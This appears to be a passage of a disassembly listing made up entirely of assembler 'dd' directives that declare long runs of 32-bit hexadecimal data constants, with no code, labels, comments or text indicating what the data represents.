		dd 8C18085Eh, 47888443h, 3AC8D0CEh, 2F64FEC9h, 5E9F168h
		dd 6DE889C2h, 0EB4EFE6Bh, 10D93157h, 907C8C3Ah,	16F7015Ah
		dd 70915921h, 11D7ED5Fh, 0FC930160h, 6F35A1BAh,	9CFC4F1Bh
		dd 0D17FF2B2h, 0CAE8843Eh, 11A113BFh, 8AF2324Ch, 0D4B5A5FFh
		dd 6EFA3B05h, 1A6967B2h, 0AD400877h, 0A33C0CB1h, 0A19F53Dh
		dd 92F8F761h, 50FCCCFAh, 51B6AC1h, 57213440h, 28E55A9Ch
		dd 28B489BDh, 89271028h, 658DFCB0h, 0CD8EAAF0h,	0E61C7517h
		dd 453D488Dh, 0C5FF3387h, 0FF513AE9h, 1C68C5A3h, 82E8AFD0h
		dd 7525C4CEh, 0F5A7FFC8h, 0FD0F348Dh, 5F0022B5h, 0BE6381A7h
		dd 348540E8h, 5EA7108Bh, 0E921B4D3h, 0D68337CBh, 0A0688263h
		dd 0C770DBBh, 0D0218BEh, 0D3E90974h, 27C46A2Dh,	24CCB9F0h
		dd 946D53E8h, 0E84BBB59h, 79ED5BF1h, 1A10B883h,	27E8243Eh
		dd 0D29EEC73h, 0EBC7C436h, 88594C30h, 0D544B718h, 0A1DD5895h
		dd 6232ECF4h, 7681514h,	0AB55ED75h, 429C05A4h, 85AF6BE7h
		dd 5086E05Fh, 10D79476h, 0DF10895Fh, 35C413C6h,	87A24C68h
		dd 456D4678h, 82B46417h, 2659E1CAh, 1B36556Bh, 94E21B4Eh
		dd 0FE39AB97h, 10C7287Eh, 0F06A1083h, 32454AE5h, 9B9D6D3Dh
		dd 0FA7322A7h, 1A3D546Bh, 0D3F82DCDh, 631D5052h, 4EB7A858h
		dd 2C7DF30Ch, 7E896CF4h, 1F4F88B5h, 1674592Dh, 98A9FC24h
		dd 9DFDC052h, 750947E7h, 7B785C20h, 49E837F8h, 2C8B6F91h
		dd 24B67248h, 78C60D7Eh, 8306BDEBh, 2574FDFEh, 1CD5ED0Ah
		dd 4F854A05h, 7DAB49FAh, 7DF69409h, 997CE0B0h, 8F435CE9h
		dd 9702EBC4h, 1932C679h, 9C2278A4h, 724A2112h, 2A78F12Fh
		dd 0D5E99D7Dh, 95C708FEh, 39A9F7Eh, 99766B2Dh, 1BA7689Dh
		dd 98FC5E91h, 0E8433818h, 956C4C43h, 0FB9C5C98h, 0E81E1895h
		dd 0B8845BE2h, 0FE5DC9E4h, 71631B82h, 0F4689510h, 5718E886h
		dd 4B0E4E52h, 6822E296h, 4E1057B7h, 89461084h, 0A071D59Ch
		dd 2486A7CFh, 0F26402A8h, 0C98FE888h, 4257BE51h, 0A11132Dh
		dd 83DDE832h, 89340B65h, 0A9493C5Ch, 44A86490h,	86E11F58h
		dd 0BDE853E5h, 7891741h
		dd 8DA5D259h, 7541178Fh, 45B58BEAh, 9632102Ch, 1402CD10h
		dd 64349D39h, 684EC118h, 0EC758816h, 12A6F653h,	0CB636B72h
		dd 1F6AD04Dh, 1C5E9E5Ah, 0F78EF8Bh, 38802603h, 0A129752Dh
		dd 0A3200258h, 70BE000Fh, 0C6198901h, 30A33584h, 875624D5h
		dd 0BC58279Fh, 4A000206h, 3B04E983h, 16CC7DD3h,	855F9D38h
		dd 0E31EBBD5h, 5A16F8D9h, 35910608h, 80FC073Fh,	35B50A3Eh
		dd 5ADAABC6h, 2A83A36Ch, 46FAA8B5h, 174AC1B0h, 0E8AC61EEh
		dd 0C25A1A3h, 0D5177524h, 0DCF20122h, 0BA2044FAh, 235F4485h
		dd 5B6E748Bh, 10401651h, 0C68CC286h, 68124F7Ah,	31AB45FCh
		dd 2BE496B6h, 3D28EE48h, 0F183985h, 26A6F585h, 432C4C3Ah
		dd 698A7E21h, 4A7AE914h, 0B0408B78h, 42D46CAEh,	411D1D81h
		dd 7D54EA11h, 155C2802h, 0D5C80842h, 0E88DE866h, 0DC6D5AF3h
		dd 505568D2h, 788602A0h, 6F8DE821h, 4C7A62Fh, 9F68404Dh
		dd 24A430FAh, 98B7D8E8h, 0C839EBB4h, 0B844E476h, 535D2F28h
		dd 3690A4E4h, 0E15C24E8h, 0D8680841h, 42CCA95Ch, 501C25E3h
		dd 53234A92h, 0DE03157Bh, 51AF0288h, 2C412B6Fh,	5464957Bh
		dd 68440A8Ch, 3110189h,	14F526F7h, 0A2E4D975h, 397F84D0h
		dd 0D41A0875h, 452854A0h, 3828512Ch, 5482E11Eh,	1E24979Eh
		dd 57528582h, 30646F99h, 0C28B782Fh, 94EFB25Ch,	6CE729ACh
		dd 1244947Dh, 501E8882h, 683637CCh, 5B40E39Ch, 111A10A9h
		dd 68A1DF94h, 0EBE15C8Ch, 1B8EE268h, 0C814F36Ah, 0B7202A68h
		dd 9D2C4D28h, 67516D68h, 8445194Ah, 5D1B6362h, 2F280A91h
		dd 16183D49h, 0E2A521D0h, 0FD9975A5h, 84E942C3h, 856C5010h
		dd 0AE014108h, 94EF48BBh, 821F040h, 2C126126h, 0AC253F2Ch
		dd 133A525Fh, 8F216A14h, 0AD8B8116h, 7424C31Dh,	5ACC6023h
		dd 6C6027Eh, 0AA4740CAh, 95FB7693h, 36D8B882h, 0A2F3137Dh
		dd 4D6FB08Ch, 0AC752B08h, 8ACA27E2h, 0FF61C212h, 0B264022Ch
		dd 232F94C5h, 15866BB8h, 84B10F6Ah, 0CDB55BDFh,	807F28A1h
		dd 33207D8Bh, 1F380AF6h, 0EC9E1374h, 31A687CCh,	46117405h
		dd 6B16C781h, 7C02D500h, 8A0DE9DDh, 0D221AF1Ch,	71244B8Ah
		dd 0AF518CF2h, 2DA76D52h, 0A5B9412Ch, 0EE03159Dh, 7E243F08h
		dd 0D587090Eh, 0C161F05Eh, 3B9207E6h, 68110403h, 1E2E957Ch
		dd 88679604h, 449D54A8h, 8468B9AFh, 0FAE192E8h,	50A2A833h
		dd 84745667h, 8D6AFA29h, 209C224Ch, 0E947424Eh,	0BA277514h
		dd 73FF12A1h, 0CEB9400Eh, 5A532CACh, 31DECBB9h,	84D668B2h
		dd 1375AC4Eh, 340ED6A4h, 8DA37C4Eh, 5594E815h, 0ED270989h
		dd 710105C7h, 413C681Dh, 6BC6EC37h, 0BE90B45h, 2094C8BEh
		dd 1C88CAA8h, 0D25F0649h, 18087A72h, 0BE85662Fh, 42C64411h
		dd 22C9437Bh, 0ACFE9531h, 0FDC3F8B1h, 8BC98632h, 404D4B44h
		dd 9FE982A2h, 0BE34B1FDh, 45E952Bh, 969FC25h, 48715C59h
		dd 243845D7h, 0E5E9041Ch, 99267269h, 0CF080462h, 85DD6952h
		dd 14B44F10h, 46A6B42Ch, 26841904h, 22AD9ECAh, 17084C1h
		dd 9C951659h, 5AC91697h, 1778B999h, 82FED43Eh, 6689046Ah
		dd 117ABEC7h, 2F94054h,	35848B12h, 0AABCFC88h, 0FCB70207h
		dd 30A0944h, 7C531541h,	0D3DA0DCBh, 9735B429h, 9044F488h
		dd 2B0B138h, 67CCA214h,	27CA7DD6h, 0BF4A5EA0h, 40D22BFh
		dd 2A10E6D5h, 9B1964EBh, 0F9F00AF1h, 88D79114h,	6A9EB27Ch
		dd 88099608h, 0C8B11FBh, 0F9E8128Bh, 49B01994h,	319C504Ah
		dd 897D5BD5h, 903C95A0h, 79F82027h, 1E8A8494h, 0B9946A12h
		dd 1944B421h, 4853C376h, 12646A12h, 0C5F2131Eh,	8C6E4432h
		dd 0A2177C12h, 0B39BC68h, 1C7FA160h, 1F8D5103h,	0D006B66Fh
		dd 1D9334D9h, 0FB98E504h, 30648542h, 2B444DF7h,	68278870h
		dd 81357C9h, 742F5C40h,	6984FF44h, 0EBDF6BABh, 11544019h
		dd 0E7AE48E8h, 0E5505A2h, 0E70CAACDh, 9BCB92CAh, 8B66761Ah
		dd 21B28DFCh, 184A9D1Eh, 13CD3353h, 4B22C302h, 20F6B427h
		dd 26D8D758h, 8B807E4Fh, 0E40BAF0h, 0F61BDEF7h,	9804C6E4h
		dd 62AEBD5h, 0BCEC088Bh, 0FB64AA9Ch, 576B230Ch,	0BDA86824h
		dd 14677B42h, 49FDFF32h, 807C818Dh, 71DC2339h, 0AFF1BEA1h
		dd 34EFDF78h, 0F0C23865h, 61515061h, 1F2844C3h,	48DD86C6h
		dd 70C21E9Bh, 63111044h, 0C3260987h, 0E937D44h,	2AB18589h
		dd 1518092h, 3C7C6621h,	8B824A44h, 0E9144C0Dh, 91073F92h
		dd 66EA4218h, 246E4214h, 7E6A5484h, 5F56B520h, 501E99A0h
		dd 0E2945D14h, 7F48E935h, 46E9CBBh, 255511A1h, 49A21B76h
		dd 0B068C28Ah, 0BAA99343h, 4675162h, 0CE2EA5E9h, 43A811CBh
		dd 897D6D2Bh, 0CB9C013Dh, 6A80FB70h, 5FD3A113h,	3803E67Bh
		dd 0F4C24DDDh, 119D98BAh, 0E1C6624Ch, 0E10A6772h, 950F7B0Fh
		dd 9874A25Ah, 9961B7B1h, 513C4BFh, 0A7A65C54h, 0FDACBF48h
		dd 74E19B47h, 85BB3216h, 8BEF2DA9h, 0DF2CCDFFh,	56391AF9h
		dd 1D42E8C6h, 0A4880C42h, 6164DFA9h, 633461B3h,	10BA008Dh
		dd 8A01488Dh, 55A3AE0h,	628900B4h, 0F8C3B80Fh, 833FD0A4h
		dd 65179CD1h, 3D047D89h, 0D756516h, 91144AC5h, 0E8159830h
		dd 4AC81501h, 750B6CABh, 21F0B41Ah, 204564DFh, 305D2206h
		dd 2B174512h, 551DFB82h, 62FFB9CAh, 84DA2947h, 8E92863h
		dd 0A261274Ah, 3398ACE8h, 81691574h, 6B905530h,	2CA03D3Bh
		dd 0E935DF7Ch, 10B15B68h, 34C4D978h, 65DEB366h,	0AC4517FAh
		dd 0BA230D8Ah, 3102CD69h, 93024888h, 312060Fh, 0B7C08F8Dh
		dd 5F4B7A9Eh, 2DF8ED09h, 0E7905D4Fh, 0ABAC3544h, 0FF127FBh
		dd 0A514F611h, 2150CCF1h, 0A094290h, 48AED160h,	65C9096Bh
		dd 74C1A27Eh, 5A968B42h, 3B4B0239h, 0B293878Dh,	855F522Ah
		dd 0F4500179h, 33C35BADh, 7CFC70FFh, 9BE8225Ch,	4742F29Eh
		dd 2D449650h, 3310AA3Bh, 42A832EBh, 0B1972B75h,	0A23A02FFh
		dd 0C7E80DF3h, 1285E378h, 38EE5D88h, 7F860734h,	284D3B18h
		dd 4146D09h, 0DAF3E08h,	939528Fh, 10BC12BFh, 9CF88B22h
		dd 118C43BBh, 0EB25F4Fh, 8B191716h, 13AF8207h, 0A721609Ch
		dd 8A0C10A9h, 7F015FEFh, 3885C7B2h, 492BB66Eh, 0A5104813h
		dd 0F939D782h, 4A6A28D2h, 0A124AEE5h, 887FB0AEh, 26434222h
		dd 58EEA965h, 12A98068h, 1CCC1553h, 11785568h, 1A5327D6h
		dd 422E5BEFh, 688AF651h, 26941C6Ch, 0A640CC81h,	64682A1Ch
		dd 0BF154411h, 80B5C51h, 645751A0h, 0E9F467BDh,	45142208h
		dd 18B2423Dh, 6A05CD40h, 82CC0452h, 7C7788E8h, 42585042h
		dd 76D72884h, 801C143Ah, 300A14BDh, 4009097Ch, 6A167E39h
		dd 21280353h, 774F8954h, 7F4239DBh, 2B20E663h, 1111127Eh
		dd 88487F6Eh, 11EB1E99h, 255E52CBh, 0E2A9606Eh,	20C28001h
		dd 49EC5588h, 0EDB24323h, 94594C29h, 0C6A2884h,	47A3EFF8h
		dd 70455B5Eh, 0A47406C0h, 0E18A01A8h, 6E562F96h, 245883CAh
		dd 0D81982A8h, 40D5AD65h, 0C70FE96Ch, 9FEBF35h,	1CA0FF53h
		dd 48A872C8h, 0FBE54B10h, 0FB28941Ah, 0EB6812F6h, 0E3E82E91h
		dd 20F5226Eh, 8BD2FA54h, 2BF7EA29h, 12FA5421h, 87FBA275h
		dd 0A27F184Dh, 798C8BE9h, 0C4849029h, 0ACCB3Bh,	0C183C560h
		dd 8278903h, 573D998Bh,	510074ACh, 0A100A61h, 68408846h
		dd 45F5E215h, 0EC083411h, 0BE886042h, 0D7222C64h, 21A94316h
		dd 0B1C21020h, 180844E9h, 0C8AD4284h, 220464D4h, 9D7E1698h
		dd 41F42284h, 88C88342h
		dd 6E22E064h, 962F7538h, 116AC016h, 33DDD868h, 0F70BC85Ah
		dd 0FC6946AEh, 0BC529EB2h, 32595D24h, 0F3D6E961h, 0A1B4EB48h
		dd 210A2E40h, 62064415h, 0BEEB23A4h, 10944C21h,	8C03AC08h
		dd 98208842h, 0E2118042h, 5018C85Fh, 7442681Dh,	6FE98876h
		dd 54946091h, 58B92129h, 44426810h, 46103421h, 904428C8h
		dd 680A082Bh, 2210441Ch, 22841B1Dh, 0B921567h, 5340350Ch
		dd 0A417EBE8h, 0DCD823FEh, 10563E48h, 88CC680Fh, 32CB44C0h
		dd 0A1511B0h, 14080EC9h, 88981029h, 218864A2h, 890A5EECh
		dd 7C1C3104h, 19792942h, 8EC3086Ch, 41B0C0A0h, 15605084h
		dd 9B9085AEh, 994554C8h, 68E4537Dh, 3C7CA14Ch, 42862608h
		dd 5870212Ch, 2450681Ah, 71841429h, 84284FDh, 0C35A4721h
		dd 290485D2h, 0D4483FF0h, 94B8E467h, 0F5B1901Eh, 0A1DC0840h
		dd 210B0915h, 84D090E0h, 0AA285DF4h, 21C84286h,	329564DFh
		dd 0BCA11BCh, 0B4905E21h, 4959B588h, 4284A40Ch,	0F0ECCFA0h
		dd 8B449888h, 4286D72Ch, 6E76218Ch, 10E1DD30h, 196FB261h
		dd 854C087Ch, 74C82390h, 0E2C3744h, 2208E386h, 41753D8Eh
		dd 0B4A7C692h, 3869B8C1h, 383D7E2Fh, 0F7500F64h, 58DE1348h
		dd 0A84AD9CAh, 5E28D3FFh, 0C8D34B68h, 228E9AAh,	0F0225225h
		dd 5CD02B3Eh, 3DB60867h, 1508E445h, 0CA159BBh, 0A64284D8h
		dd 0D0646CC8h, 43169122h, 10C82157h, 3C52B17Ch,	6711EA09h
		dd 903D210Bh, 5B5288B0h, 11A43294h, 0FA100B3Dh,	4498883Bh
		dd 86AE2C28h, 13219042h, 78379964h, 145BFE42h, 847C0CEDh
		dd 44C8E942h, 0D4227064h, 3AF52116h, 0BF21C238h, 5C32E064h
		dd 100BAA11h, 548839ABh, 962C9544h, 21484286h, 38FD6280h
		dd 6B084011h, 21C3BD85h, 0B2561030h, 82819B6h, 0A1908541h
		dd 2C4418C8h, 4286732Ch, 64172110h, 1104325Eh, 0DD100B02h
		dd 3DF88437h, 285AED44h, 0E84286C8h, 6FA6D823h,	0E7210771h
		dd 0C5D733A8h, 0F265E90Bh, 29C8283Bh, 7C89AF42h, 0AF3A73F6h
		dd 34A55A1Ah, 8E33B868h, 0D1121056h, 597B1489h,	1478D04h
		dd 3DB090D1h, 8598FD14h, 0D07A868h, 74F948E8h, 971769A3h
		dd 44D0D108h, 0E27FBC24h, 304C2B8h, 0BB6367Ch, 78E95932h
		dd 93D0031h, 0BC10CB0Bh, 45608836h, 0A715720Dh,	0F8085019h
		dd 67210AFFh, 0E3884490h, 340C5259h, 0C8CE4284h, 22286419h
		dd 44316B9h, 0A4101821h, 835B2B1h, 8F42840Ch, 0FC629DC8h
		dd 2D7A243Ch, 0EC0833FDh, 0C8654284h, 22DC64E7h, 86211650h
		dd 88CC1032h, 0C71593Bh, 264284B8h, 222F5DC4h, 0B1111B0h
		dd 249C4822h, 8EB67012h, 0BFEC9512h, 0A0A49088h, 8558EB26h
		dd 17400911h, 0D442849Ch, 622EF2C4h, 0BBD1190h,	8890BB23h
		dd 0A459A688h, 42847C1Ch, 0EF74C88Fh, 59788810h, 846C1C5Dh
		dd 0A3DC6142h, 4A886490h, 8C2DF858h, 33215442h,	48C8516Eh
		dd 0F82C1C44h, 3C212C46h, 36B20510h, 0EE083439h, 1F885742h
		dd 0D72224E4h, 2BBD2316h, 0C0881810h, 0C1CA659h, 0C8A94284h
		dd 2204E47Ah, 63471692h, 213BF811h, 7222647Bh, 0B6411F0h
		dd 0E0900B23h, 0CF584D88h, 0D8428C2Ah, 0B8643621h, 1F11D072h
		dd 9031230Bh, 590888C8h, 84B41C1Ah, 4256F121h, 0AC3129D7h
		dd 0BA85DA08h, 109C2147h, 394EB2C3h, 85AC0890h,	61DE3791h
		dd 0E9B19510h, 847C1828h, 0D2C87E42h, 672274E4h, 27DA2316h
		dd 50886C10h, 5C1CC359h, 0C8394284h, 2254E491h,	7A471622h
		dd 0B104821h, 213428B2h, 114455F4h, 0DD114072h,	26AF110Bh
		dd 0C6443888h, 428E982Ch, 62AF2128h, 203125FCh,	91859808h
		dd 4418C8E5h, 36D02981h, 14A5B101h, 6C211514h, 6A34E86Bh
		dd 31E81719h, 2ED5CD4Eh, 403AF5B0h, 2E419D43h, 0E7D11C2Eh
		dd 89164F46h, 0DEA12485h, 0ACC3232Eh, 0F33B31CCh, 1B01691h
		dd 0E8BE1C75h, 0B32F42A3h, 29563D7Fh, 75845616h, 4AA28B06h
		dd 28126E5Ch, 0C7A1EDFCh, 0DBF952E8h, 0D9DBA837h, 0CEC922C9h
		dd 1959EE5Eh, 7D4B6601h, 0FCA8849Bh, 24CFEEBDh,	211BC450h
		dd 0FC43A868h, 8FCB4A1h, 0A21C439Ah, 0CCD3934Ch, 887B12E3h
		dd 0E88E546Eh, 5361CA6Ah, 4CE589FFh, 7E8C8F71h,	44FC5C0Bh
		dd 0D28B1339h, 920A85C0h, 0FBB8E89Ch, 3ABB3412h, 5E0902AAh
		dd 127463E0h, 28D01021h, 316C503Ch, 351E6262h, 0E750F45Dh
		dd 0D28B13CEh, 85D4261h, 2045AD51h, 97500EF0h, 559DFE22h
		dd 0E9081E2Ch, 0E29E043Eh, 53DD0442h, 0B3557561h, 5E244872h
		dd 0E880E046h, 9CB5CAE2h, 42542297h, 7D4F9825h,	0AF0E8C91h
		dd 2FA434B3h, 6B4ECD64h, 8348481h, 0EB1D41DEh, 0D40A0885h
		dd 38F8CCB1h, 287704EEh, 461A007h, 309D64EBh, 365F22F0h
		dd 0C0EB053Dh, 4704445Ch, 870A1085h, 0E43BE906h, 33E8503Bh
		dd 841BA72Ch, 324FE901h, 0A1111E0h, 2CC6C29h, 509D383Ah
		dd 893C1FCh, 52ECA687h,	990B4FEBh, 531D8251h, 95CDEAE8h
		dd 4EB608E2h, 2CE91841h, 0B653B652h, 0CFB321E3h, 0ACC41010h
		dd 1CFB4438h, 110A784Ah, 70FA64F1h, 22529421h, 798D89A0h
		dd 0F120129Fh, 83B9F6CEh, 48504E12h, 208D4456h,	908B25CAh
		dd 1BD108C9h, 0D605E9EEh, 4EB0C2Eh, 0E8140245h,	0A8A2D05Eh
		dd 24088614h, 541C8AE9h, 0C4D54621h, 1159223Ch,	864F080Ch
		dd 424069FEh, 125146F2h, 1F223D75h, 95429C2Eh, 0D78AE2AFh
		dd 4DA3F071h, 0E91C1184h, 0D8680C19h, 8A019D37h, 0A023842h
		dd 2B531BF7h, 4298C43Eh, 21018451h, 17849462h, 4CEA2C81h
		dd 8DB49020h, 224898Dh,	0F393C6E5h, 16582942h, 3D728245h
		dd 85411740h, 70C86B91h, 12C2A44h, 1308E38Eh, 1FEA8885h
		dd 0FC215CC4h, 65230A50h, 0E5885490h, 481C4E59h, 0C4CE4284h
		dd 40621ED4h, 230BB711h, 883490BDh, 1C6759A0h, 8942842Ch
		dd 209063DEh, 0CE587288h, 14428C1Dh, 0B7645B21h, 44110872h
		dd 0B81E230Bh, 642D2142h, 36F47107h, 23161612h,	0E8101C7Fh
		dd 0A24F509Eh, 9DC3968h, 2B4716C6h, 0D110D421h,	0C83914B2h
		dd 8885BA08h, 90CF1B9Ah, 8359A388h, 4284B41Ch, 1AA6C48Ch
		dd 0C413AC62h, 428E8F2Ch, 625E21A0h, 983119DDh,	91854708h
		dd 4488C8C6h, 46F72C30h, 10782117h, 39E0B219h, 8502086Ch
		dd 642147BFh, 514EEB08h, 84581C1Fh, 51DCD442h, 44508816h
		dd 8E6D2CBDh, 0A6214442h, 31155B62h, 858F083Ch,	0F2494491h
		dd 8907823h, 8AE21011h,	66102930h, 0A614F5B7h, 4F174088h
		dd 0C8199185h, 2C38441Ch, 211246FDh, 0B2211014h, 80C39E6h
		dd 0CF91850Ah, 4435FCC4h, 0BA284DF3h, 0F8211146h, 0A3B2DC10h
		dd 0C508E439h, 104E8885h, 0AE22E0C4h, 21374716h, 0B39710CCh
		dd 0BC629C26h, 720B8011h, 21AC428Eh, 0E056269h,	5208A431h
		dd 0DEE8885h, 3B2294C4h, 21024716h, 0B1241088h,	78180CEBh
		dd 0C40D4284h, 6C620BBFh, 854CF610h, 9954A811h,	18408E7Ch
		dd 28E04677h, 0CD422960h, 710826C5h, 242CA9Ch, 9417BBB6h
		dd 2E845072h, 46D82C9Fh, 17442806h, 0C1C88842h,	712240E4h
		dd 21AA4716h, 0B15A1030h, 24180552h, 230BE784h,	8820903Bh
		dd 1D24592Ch, 0B1511CAh, 88037A11h, 4BFE420Ch, 70634714h
		dd 9DE74284h, 0C8B28917h, 275D1C27h, 5F25E872h,	520240Fh
		dd 8094D17h, 10A94308h,	64F16436h, 18333634h, 0F56C1E10h
		dd 0E4A72788h, 405B90B6h, 7402FF34h, 0FAE88035h, 173F5991h
		dd 2F78B2B8h, 64FEE407h
		dd 0B80C1E30h, 39EB4B3Ch, 6B6B09A1h, 0B34EBFB6h, 0F88B1302h
		dd 0F3DB04B8h, 0C766F0D8h, 55288525h, 4769E02Fh, 0FA161BF5h
		dd 0E3515F2Ch, 1B2AAD6Fh, 9A1D640Dh, 99040E1Dh,	0EDDD1539h
		dd 34B06800h, 0DD89ECB4h, 0FAB25746h, 96555909h, 5BBF70ADh
		dd 68042201h, 75275DD4h, 0F11A63Ah, 266A9353h, 70A8DFAh
		dd 3257E948h, 0EF2D3CC8h, 0A4ADB92Fh, 6E828134h, 58C3F634h
		dd 0BF864663h, 4A279E44h, 0C287672Ch, 1410C0E1h, 98294AE9h
		dd 34445C90h, 844A4247h, 5062017Eh, 2C301784h, 258B8967h
		dd 16D12F77h, 0C036DDB7h, 42234428h, 4E089D0Dh,	54FC2D2Fh
		dd 78D8E809h, 9AF49D38h, 472B0C69h, 1EF02DE9h, 12588ED4h
		dd 16B38B46h, 96A0D16h,	0F8523CF4h, 630CA10Ah, 4541FE18h
		dd 0B7E7B9E8h, 0CAAA8D6h, 2452FD89h, 0E9AB6814h, 5C1909A7h
		dd 1143A181h, 4533FC88h, 8B38FCEDh, 2C5A1120h, 9AA51D02h
		dd 4222EF56h, 76DE4A08h, 2924223Bh, 12D36B19h, 5B1F0A2Ch
		dd 0D950C43Dh, 51D0ED17h, 2A452C20h, 1441CEE6h,	3435E82Bh
		dd 0C9BE2FC8h, 232F6D8h, 0DD5657CDh, 2F902A06h,	1A05EB24h
		dd 48F8C43Bh, 75A16B44h, 0B167231Ch, 4A0DBF7Ah,	0A4E91A9Bh
		dd 5D7C120Ch, 0B5710AD0h, 0B3C8C5B6h, 19DCAB3Fh, 0EE462E33h
		dd 0D9EB26AAh, 58C448DEh, 494CFCE8h, 73578B19h,	6566E3ABh
		dd 0D9E90E17h, 9DBBB084h, 0CFADDF7h, 0D5FD0D8h,	21F52D9Fh
		dd 486DE810h, 38F1727Bh, 87818B1h, 57FC8A55h, 17622145h
		dd 0A3E1170h, 14680A0Ah, 47E985E8h, 0E8888C25h,	9B1AFE7h
		dd 63005435h, 1928E0Fh,	6345759Ch, 0E120AC16h, 78865318h
		dd 11406C08h, 33888464h, 9D380BC0h, 0AF3F75Eh, 0F2950F8Fh
		dd 0A74AE9A8h, 0B8FC2149h, 183BA97Fh, 8720BF15h, 0A29D3928h
		dd 4A3C5522h, 330CB816h, 43572A2h, 1E8390Fh, 6232BCBCh
		dd 61BA9206h, 2A48D02Ah, 800C712Ch, 40843DF5h, 0FB42802Ch
		dd 31F9FC84h, 251A1BD7h, 705F5B80h, 4687244Ah, 0E92DF570h
		dd 24A7A50Eh, 4B170A0Dh, 0CDEEB07Eh, 0A6218B81h, 0FBF96892h
		dd 7F6AC931h, 0FE14F489h, 1017585Bh, 517C5432h,	5BDE8802h
		dd 9AD48BC9h, 31970D02h, 0E12CF61h, 0FE080E18h,	2047F988h
		dd 59044542h, 19BE1741h, 41A03191h, 5C04B53Eh, 0F8F88951h
		dd 0A524FC51h, 6F27716Eh, 0D34852B4h, 47EA3126h, 161C1942h
		dd 0F3DF0E40h, 0C804808h, 0F80885FEh, 8B0362FCh, 0FE0C2134h
		dd 18031259h, 34752D12h, 8C68CAEEh, 4BE9D77Ch, 9CF61EB9h
		dd 7C525FEh, 0C5806414h, 0A1CE5AF0h, 0CD24EE17h, 46223756h
		dd 0E95604D9h, 329F2301h, 615AACC4h, 3F1A46E3h,	0C78F46D5h
		dd 0D8AE66D7h, 56B1185Ch, 0F5C7E39h, 2FB0329Ah,	18C67D59h
		dd 2806EB3Ch, 0D0D5089Dh, 997F904Ch, 4D094EBCh,	2AC05552h
		dd 62088855h, 401C40EDh, 3B428A0Fh, 8F783021h, 16E48F8Ch
		dd 0DB1C0D65h, 0E16B2299h, 601130BCh, 0C06A020Ah, 913D6C5Bh
		dd 0C8F2A506h, 381DA74h, 5259109Ch, 7E62D13Dh, 579B2835h
		dd 30427175h, 0CF404D12h, 0BAD7840Ah, 95E92020h, 0FC572940h
		dd 52455293h, 9FCCFC4Fh, 5E937EBBh, 22A27744h, 0EA7C0C25h
		dd 89D82237h, 49DE0973h, 823C0B21h, 0C13B593Ch,	8D4E4176h
		dd 2A880D45h, 3659D94Bh, 5DB812ECh, 533993C9h, 4442590Bh
		dd 51832F14h, 0FA4B3CACh, 2BB81F24h, 0E8447413h, 8B0C405Ch
		dd 83570EC1h, 0AF41D8C0h, 827743BCh, 26E4103Fh,	4286BE3Ch
		dd 21C09535h, 1A79EBDFh, 30C819C9h, 7EC96BE2h, 4352F53Ch
		dd 8EAF928Dh, 2CA2DD38h, 8988B684h, 0A6607C8Bh,	7D0F89FBh
		dd 7307420h, 2B55233Fh,	0FCD0A7D1h, 0E8848938h,	0E1B5A1BBh
		dd 0C9EB4178h, 97142862h, 98E034AFh, 4A9FE95Fh,	4DA4C1EAh
		dd 901A7511h, 128B4E10h, 0FCC5B4B3h, 167A5254h,	0BFB8203Ch
		dd 505F08C2h, 0EBBBDC71h, 0C7F24CAh, 8AC7CCFEh,	573C8550h
		dd 66A9F662h, 5894125h,	215C18B2h, 0B5934D79h, 0E63E53CDh
		dd 0BAD02C9Ch, 5F57E662h, 62A06971h, 3354740Ah,	6A427CC0h
		dd 711C5030h, 0F88B2B40h, 5ABE0828h, 0FB736128h, 2F5D8804h
		dd 0E2B8227Eh, 15C61E1Ch, 30C8D178h, 0FE3DA018h, 0FB2F4845h
		dd 4DBE0F0Eh, 7CCF3BC0h, 0CDA6C7DEh, 22CC0155h,	41B17CE1h
		dd 0F2640C92h, 0FDE0E805h, 0F921509Dh, 84485376h, 8526ED93h
		dd 5E8CFCE0h, 3A435898h, 0C1084C8h, 0C2134E78h,	77CC60D7h
		dd 0B1437F29h, 792BEB89h, 8008806Ah, 3752338h, 0DF13507Fh
		dd 15E2DCBEh, 0C15101CFh, 609D88C8h, 82429723h,	3014B809h
		dd 877B444h, 7139668Ah,	52D0588Dh, 0C1126D2h, 0E42FE843h
		dd 0B9240E53h, 102F9062h, 0A5853D94h, 31EE82D7h, 8C45338h
		dd 0D050FDF0h, 822386FCh, 0FDA84E67h, 0FE142174h, 741E8608h
		dd 202F4422h, 1B90164Ah, 6BC38D55h, 1A5918CCh, 79409838h
		dd 26765540h, 6DE5B19Dh, 347AECE6h, 0AA55437Ah,	4D726EC3h
		dd 3326D11h, 0E52E6814h, 44FAF445h, 0BA30440Ah,	8DA8D40Dh
		dd 5BB42A3h, 33386856h,	0F3ECC6CEh, 41054FAAh, 6B082624h
		dd 39A2A722h, 0FA4158Eh, 133D4B13h, 8D241132h, 41FA4703h
		dd 3CE7B1DFh, 984B41F5h, 0E2B0FF1Dh, 0B719E813h, 0DD2B99B9h
		dd 89ECAC18h, 0A5F5B880h, 0E7047344h, 560C25C3h, 9685C03Ah
		dd 900CEC59h, 28680B4Bh, 9D31652Fh, 7E1BEE32h, 2B6BC21h
		dd 257AE928h, 91417810h, 25615815h, 8C58798Eh, 1E426523h
		dd 5347215Dh, 4193F0A8h, 0A4789A84h, 59215403h,	3998A1Fh
		dd 100F5212h, 8253032Ah, 562A2E25h, 40F862FDh, 0B61C0815h
		dd 1D40E042h, 6224C608h, 911740C3h, 57FF4F18h, 7C39F88Bh
		dd 22F1B286h, 9423FCA0h, 0ED0BC40h, 1508A86h, 3C7F6A2Ch
		dd 2DAF9851h, 0DDF7158h, 1810B50Bh, 0BD54249Ah,	7D7EA646h
		dd 0BD094BB1h, 0BD29AA8h, 0B23A5127h, 6A49418h,	0FCCA24A0h
		dd 0C8C4DD48h, 3AB7212Eh, 3554161Bh, 9C2112B6h,	0ED601064h
		dd 9087412Bh, 86B0EC9Ch, 0D01A8A21h, 60882E78h,	0B0E8881Ah
		dd 49373F4Fh, 27FA4808h, 535A4638h, 9166AFB4h, 5932BF3Eh
		dd 0FA9AFB2Bh, 46AD0259h, 0F4F981D6h, 0A276E811h, 0AD8AF24Dh
		dd 9C6CFB09h, 4FA2D69Bh, 380C0AA1h, 0C43BDCCFh,	8C1B25E8h
		dd 51FAFD08h, 43BD0C28h, 0FD108C39h, 0AA46BD34h, 14048527h
		dd 11F44630h, 4A269E1h,	0C514901Dh, 0FA3A1990h,	342DD411h
		dd 98FE3766h, 0C69F782Ch, 526B299Ah, 8DFA4412h,	57289109h
